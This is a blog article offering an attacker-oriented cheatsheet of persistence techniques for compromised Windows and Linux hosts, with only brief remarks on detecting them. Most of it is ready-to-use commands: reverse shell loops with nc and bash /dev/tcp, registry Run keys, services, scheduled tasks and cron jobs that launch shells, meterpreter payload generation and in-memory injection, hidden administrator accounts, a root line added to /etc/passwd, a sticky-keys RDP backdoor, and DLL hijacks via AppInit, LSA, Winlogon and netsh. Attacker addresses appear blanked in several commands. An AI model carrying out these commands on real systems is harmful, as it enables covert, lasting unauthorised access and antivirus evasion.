Persistence cheatsheet. How to establish persistence on the target host and detect a compromise of your own system

Once you have got a shell on the target host, the first thing you have to do is make your presence in the system ‘persistent’. In many real-life situations, you have only one RCE attempt and cannot afford losing access due to some unexpected event.

There are many ways to establish persistence on a host, and each of them has its strengths and weaknesses, for instance:

  • write data on the HDD:

    • strength: will survive a restart;
    • weakness: visible to users and antiviruses;
  • inject code into RAM:

    • strength: invisible to users;
    • weakness: won’t survive a restart, may be visible to antiviruses;
  • change the OS configuration:

    • strength: invisible to antiviruses, will survive a restart;
    • weakness: may be visible to users.

Note that in most cases, you have no choice but to access the hard drive in order to entrench yourself in the system: this is the only way to prevent the loss of access due to an accidental reboot. Overall, the success of your persistence depends on two factors:

  • how well is the backdoor launch hidden from the user; and 
  • how innocent the backdoor seems to the antivirus.

Of course, Linux systems are more suitable for persistence: most of such computers are rarely serviced by users and aren’t rebooted for months. They are more efficient as footholds and rarely protected by antiviruses (as you are well aware, antivirus programs pose a severe problem for persistence).

On the other hand, Windows has more startup options that can help you to disguise yourself deep in the system. Unlike Linux, on a Windows PC you almost always have to work alongside its user – either an experienced one or not.

When you are dealing not with a single target, but with a group, it’s convenient to use a domain name for the attacker’s machine, not an IP. This enables you to set for each victim or group of victims its own unique name in the attacker’s DNS zone (hereinafter, thus, making the management of victims more efficient. This is how it looks:

If antiviruses aren’t a big problem for you, then you can use a simple utility (e.g. nc.exe, ncat.exe, or socat.exe) as a reverse shell. All these programs have RAT capabilities and often bypass antiviruses just fine. Since they are run in the command line, you can launch such utilities on the target PC invisibly for the user. In Windows, all you have to do is change the subsystem of the executable file:

pe header optional header nt fields subsystem GUI (0x0002)

The examples provided below will help you not only to establish persistence on the target host, but also to find out whether somebody has compromised your own machine.

In many cases, the analysis of startup elements is as useless as searching for a needle in a haystack. You have to make a decision based on the name of the executable file, its location (i.e. whether it’s in the right place or somewhere in the user profile), and name and description of the developer company hardcoded in the file. But as you know, nothing prevents an attacker from faking these data!

Antiviruses normally don’t delete entries in the startup lists, but instead delete the executable files. Therefore, a broken link in the startup must be an alarming signal for you.

In real-life situations, you often need the admin rights to maintain persistence. This might be a problem since not every shell has the required privileges. In the examples below, the unprivileged user input is marked with $; while the admin input, with #. The Autoruns utility is used for detection, and the results are shown in screenshots.


You can establish persistence directly from the command line. To ensure that the shell always starts, use the command with an infinite loop that goes into the background.


In Windows, this looks as follows:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe 8888 -e cmd.exe & ping -n 60 )"


bash$> ( bash -c "while :; do bash -i >& /dev/tcp/ 0>&1; sleep 60; done"; )&
bash$> nohup bash -c "while :; do bash -i >& /dev/tcp/ 0>&1; sleep 60; done" &
  • Strengths: controlled start interval, works for any user.
  • Weakness: won’t survive a restart.


Speaking of persistence, I cannot omit the classical and well-known startup. Its main advantage is that any user rights are sufficient for it.


cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\meter.exe"
cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\meter.exe"


bash$> echo "nc 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc
  • Strengths: will survive a restart, works for any user.
  • Weakness: uncontrolled start interval.


From the persistence perspective, services have a significant advantage in comparison with the startup: Service Manager can restart the required service if necessary.

In Windows, you must have the admin rights to create a service.

cmd#> sc create persistence binPath= "nc.exe -e \windows\system32\cmd.exe 8888" start= auto
cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence

In Linux, you can create a service using an unprivileged user account. Below are the variants for root and for ordinary users.

bash#> vim /etc/systemd/system/persistence.service
bash$> vim ~/.config/systemd/user/persistence.service

The file content is as follows:

ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ 0>&1'

Launching the handmade service:

bash#> systemctl enable persistence.service
bash#> systemctl start persistence.service
bash$> systemctl --user enable persistence.service
bash$> systemctl --user start persistence.service
  • Strengths: will survive a restart, controlled start interval, works for any user.
  • Weakness: requires admin rights.


Creation of a scheduled task is a very convenient way to maintain access. Concurrently, you can set the start time and interval. Too bad, only privileged users can perform such operations.


cmd#> at 13:37 \temp\nc.exe -e \windows\system32\cmd.exe 8888
cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe 8888"


bash#> echo "* * * * * bash -i >& /dev/tcp/ 0>&1" >> /var/spool/cron/root
bash#> echo $'SHELL=/bin/bash\n* * * * * root bash -i >& /dev/tcp/ 0>&1\n'> /etc/cron.d/pwn
  • Strengths: will survive a restart, controlled start interval.
  • Weakness: requires admin rights.


To establish a foothold on the target machine without leaving any traces, you can inject a backdoor into its RAM. Antiviruses usually have little control over the memory because this significantly increases the consumption of resources. Even an experienced user is unlikely to notice something that is hidden inside a legitimate process.

I suggest using meterpreter as an in-memory backdoor. This famed RAT is able to work exclusively in the memory (i.e. without making any changes on the disk).


msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999
cmd$> inject_windows.exe PID meter32.bin


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999
bash$> inject_linux PID meter32.bin

Malicious code can be injected not only into native processes, but in interpreted (e.g. with Python) ones as well:

msfvenom -p python/meterpreter/reverse_tcp LHOST= LPORT=8888 -o exitfunc=thread StagerRetryCount=999999
$> pyrasite PID

The price paid for the maximum secrecy is pretty high: persistence is lost after a reboot.

  • Strengths: works for any user, difficult for a user to detect.
  • Weakness: won’t survive a restart.

Since the malicious thread runs outside of any library, Procexp often displays its start address as null.


Establishing persistence by altering the OS configuration is a great way to hide from antiviruses. This is the only situation where you don’t use any executable code at all. But this method requires direct access to the target host.

One of the most popular variants of this attack is to create a hidden user and then gain remote access on its behalf.


cmd#> net user attacker p@ssw0rd /add
cmd#> net localgroup administrators /add attacker
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f


bash#> openssl passwd -1 -salt test
bash#> echo 'post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash' >> /etc/passwd

A simple and efficient backdoor in Windows via RDP:

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"
cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f
  • Strengths: difficult for an antivirus to detect, will survive a restart.
  • Weaknesses: requires the admin/root rights, won’t work if the target host is behind a NAT or a firewall.

Special tricks for Linux

Some tricks are applicable only to a certain OS. Let’s start with Linux.


To inject the required code into each launched process in Linux, use the LD_PRELOAD variable:

bash#> echo /path/to/ >> /etc/
bash#> echo export LD_PRELOAD=/path/to/ >> /etc/profile
bash$> echo export LD_PRELOAD=/path/to/ >> ~/.bashrc
  • Strengths: will survive a restart, works for any user.
  • Weakness: uncontrolled start interval.


After a restart, you can execute commands in rc.local, but only once.

bash#> echo "nc 8888 -e /bin/bash &" >> /etc/rc.local
  • Strength: will survive a restart.
  • Weaknesses: uncontrolled start interval, root rights required.

Special tricks for Windows

Windows offers a much larger selection of malicious tricks.


If the attacker is aware what programs are frequently used by the victim, the malicious code can be injected into the body of such a program using a joiner. However, any interference with executable files inevitably makes the antivirus pretty suspicious. A much more elegant solution is to intercept the launch:

cmd#> copy calc.exe _calc.exe
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe 8888" /f

As soon as the victim opens and then closes the calculator, the attacker gets a reverse shell:

  • Strength: will survive a restart.
  • Weakness: requires admin rights.


In a similar way, you can arrange the execution of your code when the user closes a certain program.

cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e \windows\system32\cmd.exe 8888"
  • Strength: will survive a restart.
  • Weakness: requires admin rights.

Autoruns doesn’t detect this technique, but you can check the respective registry branch:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit


Malicious code can be automatically executed using WMI events. The technique is pretty efficient and allows to run the backdoor at regular intervals.

cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.exe"
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
  • Strengths: will survive a restart, controlled start interval.
  • Weakness: requires admin rights.


Windows allows to inject libraries into windowed applications using AppInit (they must use user32.dll).

cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f
cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter64.dll" /f
cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f
cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter32.dll" /f
  • Strength: will survive a restart.
  • Weaknesses: requires admin rights, uncontrolled start interval.


Another way is to inject the library into the lsass system process. The main benefit is that this process stores the accounts that you normally extract with mimikatz.

cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f
  • Strength: will survive a restart.
  • Weaknesses: requires admin rights, uncontrolled start interval, there is a risk to kill the system.


The Winlogon mechanism can be used to run a shell every time a user logs on to the system.

cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe,c:\windows\meter.exe"
  • Strength: will survive a restart.
  • Weakness: uncontrolled start interval.


Netsh is a command-line utility for local or remote network device configuring. In addition, it allows to load arbitrary libraries, thus, enabling you to cause an impromptu restart. The result looks harmless because the Windows system component that is initially called is 100% legitimate.

cmd#> c:\windows\syswow64\netsh.exe
netsh> add helper c:\windows\meter32.dll
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\SysWOW64\netsh.exe"

As a result, you get the following chain: autorun → netsh.exe → meter.dll. Importantly, meter.dll is hidden from the user who will only see the launch of Netsh, a legitimate Windows component.

  • Strengths: will survive a restart, difficult for a user to detect.
  • Weakness: requires admin rights.


This method is suitable if the victim frequently uses Microsoft Office (which is typical for victims).

cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\users\username\meter.dll
  • Strengths: will survive a restart, works for any user.
  • Weakness: uncontrolled start interval.


The presented techniques are the most basic and popular ones; all of them can be used to establish persistence in the target system – either covertly or not. The majority of such attack don’t depend on the OS version and configuration and are easy-to-implement. Note that there is no universal way (otherwise the detection would be too easy!), and all methods have strengths and weaknesses. Keep in mind that in each specific situation, your primary goal is to balance the efficiency and stealth.

Of course, the selection of available techniques is not limited to the ones discussed in this article, and everything depends on your imagination and wits. For instance, the above-mentioned Autoruns utility can significantly facilitate the identification of new persistence options on Windows systems.

Importantly, a well-placed backdoor link is not the end of the story! In the next article, I am going to explain what executable file should be used for this purpose and how to effectively bypass antiviruses.

2 Responses to “Persistence cheatsheet. How to establish persistence on the target host and detect a compromise of your own system”

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>